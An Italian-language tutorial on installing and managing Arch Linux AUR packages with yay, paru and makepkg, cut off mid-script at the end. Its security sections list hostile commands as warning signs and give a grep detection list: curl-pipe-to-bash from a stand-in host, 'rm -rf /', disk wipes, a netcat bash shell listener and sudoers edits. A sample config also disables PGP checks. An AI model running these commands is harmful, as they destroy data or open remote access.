Contenuti




Arch Linux AUR: Guida Completa all'Installazione dei Pacchetti

Come installare pacchetti da AUR usando yay, paru e metodi manuali - guida completa per Arch Linux


Contenuti

Arch Linux AUR: Guida Completa all’Installazione dei Pacchetti

L’Arch User Repository (AUR) è una delle caratteristiche più distintive e potenti di Arch Linux, offrendo accesso a migliaia di pacchetti software mantenuti dalla community. Questa guida completa ti accompagnerà dall’installazione degli AUR helper alla gestione avanzata dei pacchetti AUR.

In questa guida
  • AUR Basics: Cos’è AUR e come funziona
  • AUR Helpers: Installazione e configurazione di yay e paru
  • Installazione Manuale: Metodo tradizionale con makepkg
  • Best Practices: Sicurezza e gestione ottimale dei pacchetti
  • Troubleshooting: Risoluzione problemi comuni
  • Gestione Avanzata: Configurazioni e ottimizzazioni

Indice della Guida

📚 Parte I - Fondamenti AUR

  1. Cos’è l’Arch User Repository (AUR)
  2. Prerequisiti e Preparazione Sistema
  3. Differenze tra Repository Ufficiali e AUR

🛠️ Parte II - AUR Helpers

  1. Installazione e Configurazione yay
  2. Installazione e Configurazione paru
  3. Confronto tra AUR Helpers

📦 Parte III - Installazione Pacchetti

  1. Installazione Manuale con makepkg
  2. Gestione Pacchetti con yay
  3. Gestione Pacchetti con paru

🔒 Parte IV - Sicurezza e Best Practices

  1. Best Practices di Sicurezza
  2. Verifica PKGBUILD
  3. Gestione Dipendenze

⚡ Parte V - Gestione Avanzata

  1. Configurazioni Avanzate
  2. Troubleshooting Comune
  3. Ottimizzazione Performance

Cos’è l’Arch User Repository (AUR)

Definizione e Funzionamento

L'Arch User Repository (AUR) è un repository guidato dalla community per utenti Arch Linux. Contiene descrizioni di pacchetti (PKGBUILD) che permettono di compilare pacchetti da sorgente utilizzando makepkg e di installarli tramite pacman.

Caratteristiche principali:

  • Community-driven: Mantenuto dagli utenti, non dal team ufficiale Arch
  • Source-based: I pacchetti vengono compilati dal codice sorgente
  • Flessibilità: Accesso a software non disponibile nei repository ufficiali
  • Aggiornamenti rapidi: Spesso più recenti delle versioni ufficiali

Architettura AUR

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
┌─────────────────────────────────────────────────────────────────┐
│                        Ecosistema Arch Linux                    │
├─────────────────────────────────────────────────────────────────┤
│  Repository Ufficiali          │         AUR Repository          │
│  ├── core                      │  ├── Pacchetti Community        │
│  ├── extra                     │  ├── PKGBUILD Scripts           │
│  ├── community                 │  ├── Dipendenze AUR             │
│  └── multilib                  │  └── Software Sperimentale      │
│                                │                                 │
│  Gestiti da: Team Arch         │  Gestiti da: Community          │
│  Tool: pacman                  │  Tool: AUR helpers + makepkg    │
└─────────────────────────────────────────────────────────────────┘

Prerequisiti e Preparazione Sistema

Verifica Sistema Base

Prima di iniziare, assicurati che il tuo sistema Arch Linux sia aggiornato e configurato correttamente:

1
2
3
4
5
6
7
8
# Aggiorna il sistema
sudo pacman -Syu

# Verifica pacchetti base per compilazione
pacman -Qg base-devel

# Se non installato, installalo
sudo pacman -S base-devel git

Dipendenze Essenziali

1
2
3
4
5
# Installa pacchetti essenziali per AUR
sudo pacman -S --needed base-devel git wget curl

# Verifica installazione
which git makepkg gcc

Configurazione Utente

1
2
3
4
5
6
7
8
9
# Verifica che l'utente non sia root
whoami  # Non deve essere 'root'

# Aggiungi utente a gruppo wheel (se necessario)
sudo usermod -aG wheel $USER

# Configura sudo (se necessario)
sudo visudo
# Decommentare: %wheel ALL=(ALL) ALL
Importante sulla Sicurezza
Non eseguire mai makepkg come root! I PKGBUILD possono contenere codice arbitrario che potrebbe compromettere il sistema se eseguito con privilegi elevati.

Differenze tra Repository Ufficiali e AUR

Repository Ufficiali vs AUR

Aspetto Repository Ufficiali AUR
Mantenimento Team Arch ufficiale Community utenti
Sicurezza Verificato e testato Responsabilità utente
Installazione Pacchetti binari precompilati Compilazione da sorgente
Velocità Installazione immediata Tempo di compilazione
Aggiornamenti Cicli di rilascio controllati Aggiornamenti frequenti
Affidabilità Alta affidabilità Varia per pacchetto
Tool pacman AUR helpers + makepkg

Vantaggi dell’AUR

1
2
3
4
5
✅ Accesso a software non disponibile ufficialmente
✅ Versioni più recenti dei pacchetti
✅ Software di nicchia e personalizzato
✅ Facilità di contribuzione alla community
✅ Flessibilità di personalizzazione

Svantaggi dell’AUR

1
2
3
4
5
❌ Potenziali rischi di sicurezza
❌ Tempo di compilazione maggiore
❌ Possibili errori di compilazione
❌ Qualità variabile dei PKGBUILD
❌ Dipendenze complesse

Installazione e Configurazione yay

Cos’è yay

yay (Yet Another Yaourt) è uno degli AUR helper più popolari, scritto in Go, che semplifica l’installazione e la gestione dei pacchetti AUR mantenendo la compatibilità con pacman.

Installazione yay

Metodo 1: Installazione Manuale (Raccomandato)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# Naviga in directory temporanea
cd /tmp

# Clona repository yay
git clone https://aur.archlinux.org/yay.git

# Entra nella directory
cd yay

# Ispeziona PKGBUILD per sicurezza
less PKGBUILD

# Compila e installa
makepkg -si

Metodo 2: Installazione con Script

1
2
3
4
5
6
7
# Clone e installazione in un comando
git clone https://aur.archlinux.org/yay.git /tmp/yay && \
cd /tmp/yay && \
makepkg -si --noconfirm

# Pulisci directory temporanea
cd && rm -rf /tmp/yay

Configurazione yay

Configurazione Base

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# File di configurazione yay
mkdir -p ~/.config/yay
cat > ~/.config/yay/config.json << EOF
{
    "aururl": "https://aur.archlinux.org",
    "buildDir": "$HOME/.cache/yay",
    "editor": "nano",
    "editorflags": "",
    "makepkgbin": "makepkg",
    "makepkgconf": "",
    "pacmanbin": "pacman",
    "pacmanconf": "/etc/pacman.conf",
    "redownload": "no",
    "rebuild": "no",
    "answerclean": "",
    "answerdiff": "",
    "answeredit": "",
    "answerupgrade": "",
    "gitbin": "git",
    "gpgbin": "gpg",
    "gpgflags": "",
    "mflags": "",
    "sudobin": "sudo",
    "sudoflags": "",
    "timeupdate": false,
    "devel": false,
    "cleanAfter": false,
    "provides": true,
    "pgpfetch": true,
    "upgrademenu": true,
    "cleanmenu": true,
    "diffmenu": true,
    "editmenu": false,
    "combinedupgrade": false,
    "useask": false,
    "batchinstall": false
}
EOF

Configurazione Personalizzata

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Configura comportamento predefinito
yay --save --sudoloop --cleanafter --timeupdate

# Imposta directory di build personalizzata
yay --save --builddir /tmp/yay-build

# Abilita review automatico PKGBUILD
yay --save --editmenu

# Verifica configurazione
yay --currentconfig

Test yay

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Verifica installazione
yay --version

# Test con pacchetto semplice
yay -S cowsay

# Test del funzionamento
cowsay "yay funziona!"

# Pulizia test
yay -R cowsay

Installazione e Configurazione paru

Cos’è paru

paru è un AUR helper moderno scritto in Rust, progettato per essere un sostituto drop-in di yay con funzionalità avanzate e migliori performance.

Installazione paru

Prerequisiti Rust

1
2
3
4
5
6
# Installa Rust (se necessario)
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env

# O utilizza pacman
sudo pacman -S rust

Installazione da AUR

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Naviga in directory temporanea
cd /tmp

# Clona repository paru
git clone https://aur.archlinux.org/paru.git

# Entra nella directory
cd paru

# Ispeziona PKGBUILD
less PKGBUILD

# Compila e installa
makepkg -si

# Pulisci
cd && rm -rf /tmp/paru

Installazione Alternativa (se yay è già installato)

1
2
# Usa yay per installare paru
yay -S paru

Configurazione paru

File di Configurazione

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# Crea directory di configurazione
mkdir -p ~/.config/paru

# Crea file di configurazione
cat > ~/.config/paru/paru.conf << 'EOF'
#
# $PARU_CONF
# /etc/paru.conf
# ~/.config/paru/paru.conf
#

#
# GENERAL OPTIONS
#
[options]
PgpFetch
Devel
Provides
DevelSuffixes = -git -cvs -svn -bzr -darcs -always -hg -fossil
BottomUp
RemoveMake
SudoLoop
UseAsk
SaveChanges
CombinedUpgrade
CleanAfter
UpgradeMenu
NewsOnUpgrade

#
# Binary OPTIONS
#
[bin]
FileManager = ranger
MFlags = --skippgpcheck
Sudo = doas
EOF

Configurazioni Avanzate

1
2
3
4
5
6
7
8
9
# Configura comportamento interattivo
paru --gendb

# Imposta editor predefinito
export EDITOR=nano
echo 'export EDITOR=nano' >> ~/.bashrc

# Configurazione per sviluppatori
paru --save --devel --needed

Caratteristiche Uniche di paru

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Visualizza notizie Arch
paru -Pw

# Review di tutti i PKGBUILD in una sessione
paru -S --fm ranger package1 package2

# Batch install con review
paru -S --batchinstall package1 package2 package3

# Gestione avanzata database
paru --gendb
paru -c  # Clean unneeded packages

Confronto tra AUR Helpers

yay vs paru vs altri

Caratteristica yay paru aurman trizen
Linguaggio Go Rust Python Perl
Performance Buona Eccellente Media Buona
Manutenzione Attiva Attiva Dismesso Limitata
Compatibilità pacman Completa Completa Buona Buona
Funzioni Avanzate Standard Molte Poche Standard
Facilità d’uso Alta Alta Media Alta
Memoria utilizzata Media Bassa Alta Bassa

Raccomandazioni d’uso

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Per utenti principianti
# yay - Più semplice e documentato

# Per utenti avanzati
# paru - Migliori performance e funzionalità

# Per sistemi con risorse limitate
# paru - Minore utilizzo memoria

# Per compatibilità legacy
# yay - Maggiore compatibilità

Installazione Manuale con makepkg

Processo Manuale Completo

Il metodo tradizionale per installare pacchetti AUR senza helper:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# 1. Navigazione e clonazione
cd /tmp
git clone https://aur.archlinux.org/NOME_PACCHETTO.git

# 2. Ispezione del PKGBUILD
cd NOME_PACCHETTO
less PKGBUILD
less .SRCINFO

# 3. Verifica dipendenze
makepkg --printsrcinfo
makepkg -s --needed

# 4. Compilazione
makepkg -si

# 5. Installazione manuale (alternativa)
makepkg
sudo pacman -U *.pkg.tar.*

Esempio Pratico: Installazione Visual Studio Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# Naviga in directory temporanea
cd /tmp

# Clona repository
git clone https://aur.archlinux.org/visual-studio-code-bin.git

# Entra nella directory
cd visual-studio-code-bin

# Esamina il PKGBUILD
cat PKGBUILD

# Verifica integrità e dipendenze
makepkg --printsrcinfo

# Compila e installa
makepkg -si

# Verifica installazione
which code

Script di Automazione Manuale

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/bash
# install_aur_manual.sh - Script per installazione manuale AUR

install_aur_package() {
    local package_name="$1"
    local temp_dir="/tmp/aur_install_$$"

    # Crea directory temporanea
    mkdir -p "$temp_dir"
    cd "$temp_dir"

    # Clona repository
    echo "Clonando $package_name..."
    git clone "https://aur.archlinux.org/${package_name}.git"

    cd "$package_name"

    # Mostra PKGBUILD per review
    echo "=== PKGBUILD per $package_name ==="
    cat PKGBUILD
    echo "=================================="

    # Chiedi conferma
    read -p "Procedere con l'installazione? [y/N] " confirm
    if [[ $confirm == [yY] ]]; then
        # Compila e installa
        makepkg -si
        echo "Installazione completata per $package_name"
    else
        echo "Installazione annullata"
    fi

    # Pulisci directory temporanea
    cd /
    rm -rf "$temp_dir"
}

# Uso dello script
# install_aur_package "nome-pacchetto"

Gestione Pacchetti con yay

Comandi Base yay

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Installazione pacchetti
yay -S nome-pacchetto              # Installa singolo pacchetto
yay -S pacchetto1 pacchetto2       # Installa multipli pacchetti
yay -S --needed pacchetto          # Installa solo se non presente

# Ricerca pacchetti
yay -Ss termine-ricerca            # Cerca nei repository e AUR
yay -Ssa termine-ricerca           # Cerca solo in AUR
yay nome-pacchetto                 # Ricerca e installazione interattiva

# Aggiornamento sistema
yay                                # Aggiorna tutto (repo + AUR)
yay -Syu                          # Aggiornamento esplicito
yay -Sua                          # Aggiorna solo pacchetti AUR

# Rimozione pacchetti
yay -R nome-pacchetto             # Rimuovi pacchetto
yay -Rs nome-pacchetto            # Rimuovi con dipendenze inutilizzate
yay -Rns nome-pacchetto           # Rimozione completa con config

# Informazioni pacchetti
yay -Si nome-pacchetto            # Informazioni dettagliate
yay -Qi nome-pacchetto            # Info pacchetto installato
yay -Qe                           # Lista pacchetti installati esplicitamente

Gestione Avanzata con yay

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# Pulizia sistema
yay -Yc                           # Pulisci cache inutilizzata
yay -Sc                           # Pulisci cache pacman
yay -Scc                          # Pulisci tutta la cache

# Gestione development packages
yay -Syu --devel                  # Aggiorna anche pacchetti -git, -svn, etc.
yay --gendb                       # Rigenera database development packages

# Modalità batch
yay -S --batchinstall pacchetto1 pacchetto2  # Installazione batch
yay -S --noconfirm pacchetto                 # Senza conferme

# Review e editing
yay -S --editmenu pacchetto       # Review PKGBUILD prima installazione
yay -S --diffmenu pacchetto       # Mostra diff durante aggiornamenti

# Gestione conflitti
yay -S --overwrite="*" pacchetto  # Sovrascrive file in conflitto
yay -S --assume-installed=dep pacchetto  # Ignora dipendenza specifica

Configurazione Avanzata yay

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Configurazione permanente
yay --save --sudoloop --cleanafter --timeupdate --devel

# Parametri di configurazione spiegati:
# --sudoloop: Mantiene privilegi sudo attivi
# --cleanafter: Pulisce file build dopo installazione
# --timeupdate: Mostra timestamp durante operazioni
# --devel: Include pacchetti development negli aggiornamenti

# Configurazione build directory
yay --save --builddir /tmp/yay-builds

# Editor personalizzato
yay --save --editor "code --wait"

# Mostra configurazione attuale
yay --currentconfig

Gestione Pacchetti con paru

Comandi Base paru

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Installazione (sintassi identica a pacman/yay)
paru -S nome-pacchetto             # Installa pacchetto
paru -S --needed pacchetto         # Installa solo se necessario

# Ricerca avanzata
paru -Ss termine                   # Ricerca standard
paru termine                       # Ricerca interattiva con menu

# Aggiornamenti intelligenti
paru                               # Aggiorna tutto con menu interattivo
paru -Sua                         # Solo pacchetti AUR

# Funzioni uniche paru
paru -Pw                          # Mostra Arch News
paru -G pacchetto                 # Scarica PKGBUILD senza installare
paru -U file.pkg.tar.xz           # Installa pacchetto locale

Caratteristiche Avanzate paru

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Gestione news
paru -Pw                          # Visualizza news non lette
paru -Pww                         # Visualizza tutte le news

# File manager integration
paru -S --fm ranger pacchetto     # Usa ranger per review file

# Batch operations ottimizzate
paru -S --batchinstall pkg1 pkg2  # Installazione batch ottimizzata

# Database management
paru --gendb                      # Genera database development packages
paru -c                          # Clean orphaned packages

# Advanced review
paru -S --review pacchetto        # Review esteso con diff colored

Configurazione Ottimale paru

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# File ~/.config/paru/paru.conf ottimizzato
cat > ~/.config/paru/paru.conf << 'EOF'
[options]
PgpFetch
Devel
Provides
DevelSuffixes = -git -cvs -svn -bzr -darcs -always -hg -fossil
BottomUp
RemoveMake
SudoLoop
UseAsk
SaveChanges
CombinedUpgrade
CleanAfter
UpgradeMenu
NewsOnUpgrade
BatchInstall = true

[bin]
FileManager = ranger
MFlags = --skippgpcheck -j$(nproc)
Pager = less -R
Sudo = sudo
EOF

Best Practices di Sicurezza

Principi Fondamentali

Rischi di Sicurezza AUR
I pacchetti AUR possono contenere codice malevolo. Sempre verificare il PKGBUILD prima dell’installazione!

Checklist di Sicurezza

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# 1. Verifica reputazione maintainer
# Controlla commenti, voti e data ultimo aggiornamento su AUR web

# 2. Ispeziona sempre PKGBUILD
less PKGBUILD
# Cerca comandi sospetti: rm -rf /, curl | bash, wget | sh

# 3. Verifica sorgenti
cat .SRCINFO
# Controlla che le URL siano legittime

# 4. Controlla dipendenze
makepkg --printsrcinfo
# Verifica che le dipendenze siano ragionevoli

# 5. Usa sandbox per test
# Testa pacchetti sospetti in VM o container

Script di Verifica Sicurezza

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/bin/bash
# aur_security_check.sh - Verifica sicurezza PKGBUILD

check_pkgbuild_security() {
    local pkgbuild_file="$1"

    echo "=== Controllo Sicurezza PKGBUILD ==="

    # Comandi potenzialmente pericolosi
    dangerous_commands=(
        "rm -rf /"
        "curl.*|.*sh"
        "wget.*|.*sh"
        "dd if="
        "mkfs"
        "fdisk"
        "parted"
        "://"  # URL non HTTPS in contesti sensibili
    )

    for cmd in "${dangerous_commands[@]}"; do
        if grep -q "$cmd" "$pkgbuild_file"; then
            echo "⚠️  ATTENZIONE: Comando potenzialmente pericoloso trovato: $cmd"
            grep --color=always "$cmd" "$pkgbuild_file"
        fi
    done

    # Verifica URL HTTPS
    if grep -q "http://" "$pkgbuild_file"; then
        echo "⚠️  ATTENZIONE: URL HTTP non sicure trovate"
        grep --color=always "http://" "$pkgbuild_file"
    fi

    # Verifica permessi file
    if grep -q "chmod.*777" "$pkgbuild_file"; then
        echo "⚠️  ATTENZIONE: Permessi file troppo aperti (777)"
    fi

    echo "=== Fine Controllo ==="
}

# Uso: check_pkgbuild_security PKGBUILD

Isolamento e Sandboxing

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# Opzione 1: Container Docker per test
cat > Dockerfile.aur-test << 'EOF'
FROM archlinux:latest
RUN pacman -Sy --noconfirm base-devel git sudo
RUN useradd -m -G wheel aurtest
RUN echo '%wheel ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
USER aurtest
WORKDIR /home/aurtest
EOF

# Build container
docker build -t aur-test -f Dockerfile.aur-test .

# Test pacchetto in container
docker run --rm -it aur-test bash
# Ora testa il pacchetto AUR nel container isolato

# Opzione 2: VM temporanea con virt-manager
# Crea snapshot VM prima di testare pacchetti sospetti

Verifica PKGBUILD

Anatomia di un PKGBUILD

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Esempio PKGBUILD sicuro annotato
cat << 'EOF'
# Maintainer: Nome <email@domain.com>  ✓ Info maintainer chiare

pkgname=esempio-sicuro                  ✓ Nome descrittivo
pkgver=1.0.0                           ✓ Versione specifica
pkgrel=1                               ✓ Release number
pkgdesc="Descrizione chiara"           ✓ Descrizione informativa
arch=('x86_64')                        ✓ Architetture supportate
url="https://example.com"              ✓ URL HTTPS ufficiale
license=('MIT')                        ✓ Licenza riconosciuta
depends=('glibc' 'libx11')            ✓ Dipendenze specifiche
makedepends=('gcc' 'make')             ✓ Dipendenze build chiare
source=("$pkgname-$pkgver.tar.gz::https://github.com/user/repo/archive/v$pkgver.tar.gz")  ✓ Source HTTPS
sha256sums=('ab1cd2ef...')             ✓ Checksum per verifica integrità

build() {                              ✓ Funzione build standard
    cd "$pkgname-$pkgver"
    ./configure --prefix=/usr
    make
}

package() {                            ✓ Funzione package standard
    cd "$pkgname-$pkgver"
    make DESTDIR="$pkgdir/" install
}
EOF

Red Flags nei PKGBUILD

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# ❌ DANGER SIGNS - Non installare se vedi:

# 1. Download ed esecuzione diretta
source=("script.sh::http://suspicious-site.com/malware.sh")
curl http://site.com/script | bash
wget -O - http://site.com/install | sh

# 2. Operazioni di sistema pericolose
rm -rf /
dd if=/dev/zero of=/dev/sda
mkfs.ext4 /dev/sda1

# 3. Accesso non autorizzato
cat /etc/passwd
chmod 777 /etc/sudoers
echo "user ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

# 4. Network activity sospetta
nc -l -p 4444 -e /bin/bash
python -m SimpleHTTPServer 8000 &

# 5. Modifiche di sistema
systemctl enable suspicious-service
crontab -e

Tool per Verifica Automatica

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# namcap - Strumento ufficiale Arch per verifica PKGBUILD
sudo pacman -S namcap

# Verifica PKGBUILD
namcap PKGBUILD

# Verifica pacchetto compilato
namcap package.pkg.tar.xz

# pkgbuild-introspection - Tool community
yay -S pkgbuild-introspection

# Analisi approfondita
pkgbuild-introspection PKGBUILD

Troubleshooting Comune

Errori di Compilazione

Errore: Dipendenze Mancanti

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Problema
ERROR: 'package': missing dependencies

# Soluzioni
# 1. Installa dipendenze manualmente
sudo pacman -S missing-dependency

# 2. Usa flag --needed per auto-install dipendenze
makepkg -s

# 3. Per AUR helper
yay -S --needed nome-pacchetto

Errore: Checksum Non Valido

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# Problema
==> ERROR: One or more PGP signatures could not be verified!

# Soluzioni
# 1. Aggiorna keyring
sudo pacman -S archlinux-keyring
sudo pacman-key --refresh-keys

# 2. Importa chiave specifica
gpg --recv-keys KEY-ID

# 3. Skip verifica (non raccomandato)
makepkg --skippgpcheck

Errore: Spazio Insufficiente

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# Problema
ERROR: not enough free disk space

# Soluzioni
# 1. Pulisci cache
sudo pacman -Sc
yay -Sc

# 2. Cambia directory build
export BUILDDIR=/tmp/build
# O in yay config
yay --save --builddir /tmp/yay-build

# 3. Verifica spazio
df -h /tmp /var/cache/pacman/pkg

Errori di Installazione

Conflitti File

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# Problema
error: failed to commit transaction (conflicting files)

# Soluzioni
# 1. Backup e overwrite (attenzione!)
yay -S --overwrite="path/to/conflicting/files/*" package

# 2. Rimuovi pacchetto conflittuale prima
sudo pacman -R conflicting-package
yay -S new-package

# 3. Usa alternative provider
yay -S alternative-package-name

Dipendenze Orfane

1
2
3
4
5
6
7
8
9
# Identifica pacchetti orfani
pacman -Qtdq

# Rimuovi pacchetti orfani
sudo pacman -Rs $(pacman -Qtdq)

# Con yay/paru
yay -c
paru -c

Problemi di Rete

Download Fallito

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# Problema
ERROR: Failure while downloading package

# Soluzioni
# 1. Verifica connessione
ping -c 3 aur.archlinux.org

# 2. Cambia mirror AUR (raramente necessario)
# 3. Retry con timeout aumentato
timeout 300 yay -S package-name

# 4. Download manuale
wget https://aur.archlinux.org/cgit/aur.git/snapshot/package.tar.gz

Script di Diagnosi Automatica

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash
# aur_troubleshoot.sh - Diagnosi problemi AUR

diagnose_aur_system() {
    echo "=== Diagnosi Sistema AUR ==="

    # Verifica spazio disco
    echo "1. Spazio Disco:"
    df -h / /tmp /var | grep -E "(Filesystem|/|tmp|var)"

    # Verifica pacchetti base
    echo -e "\n2. Pacchetti Base:"
    for pkg in base-devel git; do
        if pacman -Q $pkg &>/dev/null; then
            echo "✓ $pkg installato"
        else
            echo "✗ $pkg MANCANTE"
        fi
    done

    # Verifica AUR helper
    echo -e "\n3. AUR Helper:"
    for helper in yay paru; do
        if command -v $helper &>/dev/null; then
            echo "✓ $helper: $(which $helper)"
        fi
    done

    # Verifica keyring
    echo -e "\n4. Keyring Status:"
    if sudo pacman-key --check-trustdb &>/dev/null; then
        echo "✓ Keyring OK"
    else
        echo "✗ Keyring problemi - Esegui: sudo pacman-key --init && sudo pacman-key --populate archlinux"
    fi

    # Cache info
    echo -e "\n5. Cache Info:"
    echo "Cache pacman: $(du -sh /var/cache/pacman/pkg 2>/dev/null | cut -f1)"
    echo "Cache yay: $(du -sh ~/.cache/yay 2>/dev/null | cut -f1)"

    # Pacchetti orfani
    echo -e "\n6. Pacchetti Orfani:"
    orphans=$(pacman -Qtdq 2>/dev/null | wc -l)
    echo "Trovati $orphans pacchetti orfani"

    echo -e "\n=== Fine Diagnosi ==="
}

# Esegui diagnosi
diagnose_aur_system

Ottimizzazione Performance

Compilazione Parallela

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Configura makepkg per compilazione parallela
sudo vim /etc/makepkg.conf

# Modifica MAKEFLAGS
MAKEFLAGS="-j$(nproc)"  # Usa tutti i core CPU

# O per limitare i core
MAKEFLAGS="-j4"  # Usa 4 core

# Verifica configurazione
grep MAKEFLAGS /etc/makepkg.conf

Ottimizzazione Compiler

1
2
3
4
5
6
7
8
9
# Ottimizzazioni compiler in /etc/makepkg.conf
CFLAGS="-march=native -O2 -pipe -fno-plt"
CXXFLAGS="$CFLAGS"
LDFLAGS="-Wl,-O1,--sort-common,--as-needed,-z,relro,-z,now"

# Per CPU specifiche (esempio)
# Intel modern: -march=skylake
# AMD modern: -march=znver2
# Generico sicuro: -march=x86-64-v2

Cache e Storage

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# Directory build in RAM (se hai RAM sufficiente)
sudo mount -t tmpfs -o size=4G tmpfs /tmp/build

# Permanente in /etc/fstab
echo 'tmpfs /tmp/build tmpfs size=4G,nodev,nosuid 0 0' | sudo tee -a /etc/fstab

# Configura yay per usare RAM disk
yay --save --builddir /tmp/build

# Cache management intelligente
# Mantieni solo versioni recenti
sudo paccache -rk2  # Mantieni 2 versioni per pacchetto

# Pulizia automatica cache AUR
yay -Sc --aur

Monitoring Performance

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Script monitoring compilazione
#!/bin/bash
# build_monitor.sh

monitor_build() {
    echo "=== Build Performance Monitor ==="
    echo "Avvio: $(date)"

    # CPU usage
    echo "CPU cores: $(nproc)"
    echo "Load average: $(uptime | cut -d',' -f3-5)"

    # Memory
    free -h

    # Disk I/O
    echo "Build directory: $BUILDDIR"
    df -h "$BUILDDIR" 2>/dev/null || df -h /tmp

    # Network (se downloading)
    echo "Network usage:"
    cat /proc/net/dev | grep -E "(wlan|eth|enp)" | head -1
}

# Hook per pre/post build
export BUILDDIR="${BUILDDIR:-/tmp}"
monitor_build

Configurazioni Avanzate

Profile di Configurazione

Configurazione Sviluppatore

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# ~/.config/yay/config.json per sviluppatori
{
    "aururl": "https://aur.archlinux.org",
    "buildDir": "/tmp/yay-dev",
    "editor": "code --wait",
    "makepkgbin": "makepkg",
    "makepkgconf": "/etc/makepkg.conf",
    "pacmanbin": "pacman",
    "devel": true,
    "cleanAfter": true,
    "editmenu": true,
    "diffmenu": true,
    "upgrademenu": true,
    "timeupdate": true,
    "sudoloop": true,
    "batchinstall": false
}

Configurazione Server/Headless

1
2
3
4
5
6
7
8
9
# Configurazione automatizzata per server
yay --save \
    --noconfirm \
    --noedit \
    --nodiff \
    --norebuild \
    --noredownload \
    --cleanafter \
    --sudoloop

Scripting e Automazione

Script Backup Pacchetti AUR

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash
# backup_aur_packages.sh - Backup lista pacchetti AUR

backup_aur_packages() {
    local backup_dir="$HOME/backup/aur"
    local date_stamp=$(date +%Y%m%d_%H%M%S)

    # Crea directory backup
    mkdir -p "$backup_dir"

    # Lista pacchetti AUR installati
    pacman -Qm > "$backup_dir/aur_packages_$date_stamp.txt"

    # Lista completa con versioni
    pacman -Qm | while read pkg ver; do
        echo "$pkg $ver" >> "$backup_dir/aur_detailed_$date_stamp.txt"
    done

    # Crea script reinstallazione
    {
        echo "#!/bin/bash"
        echo "# Script reinstallazione AUR packages - $date_stamp"
        echo ""
        pacman -Qm | cut -d' ' -f1 | while read pkg; do
            echo "yay -S --needed $pkg"
        done
    } > "$backup_dir/reinstall_aur_$date_stamp.sh"

    chmod +x "$backup_dir/reinstall_aur_$date_stamp.sh"

    echo "Backup completato in $backup_dir"
    echo "Pacchetti AUR: $(pacman -Qm | wc -l)"
}

# Esegui backup
backup_aur_packages

Mass Update Script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/bin/bash
# mass_aur_update.sh - Aggiornamento sicuro batch AUR

safe_aur_update() {
    echo "=== Aggiornamento Sicuro Pacchetti AUR ==="

    # Pre-update backup
    echo "1. Backup lista pacchetti..."
    pacman -Qm > /tmp/aur_pre_update.txt

    # Check news
    echo "2. Controllo Arch News..."
    if command -v paru &>/dev/null; then
        paru -Pw
        read -p "Continua con update? [y/N] " continue_update
        [[ $continue_update != [yY] ]] && exit 0
    fi

    # Update with review
    echo "3. Aggiornamento con review..."
    if command -v yay &>/dev/null; then
        yay -Syu --devel --timeupdate --editmenu
    elif command -v paru &>/dev/null; then
        paru -Syu --devel
    else
